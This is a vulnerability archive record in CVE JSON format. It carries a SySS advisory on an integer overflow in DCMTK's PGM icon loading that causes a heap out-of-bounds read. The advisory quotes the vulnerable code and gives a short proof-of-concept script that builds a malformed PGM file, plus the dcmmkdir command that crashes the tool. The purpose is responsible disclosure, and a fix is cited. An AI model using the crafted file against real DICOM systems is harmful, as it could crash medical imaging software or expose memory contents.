{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-046\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s DICOMDIR icon image loading is vulnerable to an integer overflow\nin the PGM image size calculation. An attacker who can supply a\nmalicious PGM file referenced as an external icon can cause a heap\nout-of-bounds read in the icon scaler, leading to a process crash or\npotential information disclosure.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DicomDirInterface::getIconFromFile() in libsrc/dcddirif.cc\n(line 4489) computes the PGM image buffer size by multiplying the width\nand height parsed from the PGM file header:\n\n  unsigned int pgmWidth, pgmHeight = 0;\n  // ... values parsed from PGM file via sscanf()\n  const unsigned long pgmSize = pgmWidth * pgmHeight;\n  Uint8 *pgmData = new Uint8[pgmSize];\n\nBoth pgmWidth and pgmHeight are unsigned int. Their product is computed\nas unsigned int, and only then assigned to unsigned long.\n\nOn any platform where unsigned int is 32 bits, a crafted PGM file with the\ndimensions 4294967295 * 4294967295 produces pgmSize = 1 after overflow\n(4294967295 * 4294967295 = 0x100000001, truncated to 32 bits = 1).\n\nThe allocation \"new Uint8[1]\" succeeds, and fread() reads exactly 1 byte\nfrom the PGM file.\n\nThe icon scaler is invoked at line 4505 of dcddirif.cc:\n\n  result = ImagePlugin-\u003escaleData(pgmData, pgmWidth, pgmHeight,\n                                  pixel, width, height);\n\nThe scaler implementation (DicomDirImageImplementation::scaleData in\ndcmjpeg/libsrc/ddpiimpl.cc, line 60) casts the dimensions from\nunsigned int to Uint16 without validation:\n\n  DiScaleTemplate\u003cUint8\u003e scale(1,\n      OFstatic_cast(Uint16, srcWidth),   // 4294967295 -\u003e 65535\n      OFstatic_cast(Uint16, srcHeight),  // 4294967295 -\u003e 65535\n      OFstatic_cast(Uint16, dstWidth),\n      OFstatic_cast(Uint16, dstHeight),\n      1);\n  scale.scaleData(OFstatic_cast(const Uint8 **, \u0026srcData),\n                  \u0026dstData, 1 /* interpolate */);\n\nThe DiScaleTemplate constructor (dcmimgle/include/dcmtk/dcmimgle/discalet.h,\nline 148) stores the truncated dimensions:\n\n  DiScaleTemplate(const int planes,\n                  const Uint16 src_cols,   // resolution of source image\n                  const Uint16 src_rows,\n                  const Uint16 dest_cols,\n                  const Uint16 dest_rows,\n                  const Uint32 frames,\n                  const int bits = 0)\n\nThe scaleData() method (line 187) then iterates over the source image\nusing the truncated dimensions (65535 * 65535), reading from the 1-byte\nheap allocation through the interpolatePixel() method, causing a heap\nout-of-bounds read.\n\nThe root cause is the unchecked cast from unsigned int to Uint16 in the\nscaler (ddpiimpl.cc:60), which silently truncates dimensions without any\nbounds validation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe integer overflow can be demonstrated using a specially crafted PGM\nfile. The following shell script exemplarily creates such a file named\ndemo.pgm:\n\ncat \u003e create_pgm.sh \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\nprintf \u0027P5\\n4294967295 4294967295\\n255\\n\u0027 \u003e demo.pgm\nprintf \u0027\\x00\u0027 \u003e\u003e demo.pgm\nEOF\n\nIf this PGM file is processed by a vulnerable DCMTK component like\ndcmmkdir, a heap out-of-bounds read is triggered, causing a segmentation\nfault in this proof-of-concept example. The DICOM file PAT001 does not\ncontain pixel data and thus forces a fallback to the default icon.\n\ndcmmkdir +X --default-icon demo.pgm PAT001\nE: no pixel data found in DICOM dataset\nW: cannot create monochrome icon from image file, using default\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n534e146b672ccd13d1a2b134ef623840e775396a (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-046\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-190",
              "description": "CWE-190",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:57Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/24"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/24"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/24"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-046]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0023",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/24",
            "automated": true,
            "contentSha256": "3fe43991bbc456a96307ac83f61414a6bd51af98439dd5d1de4bdfbd1709ab9c",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/24",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T07:57:54Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:57Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0023"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}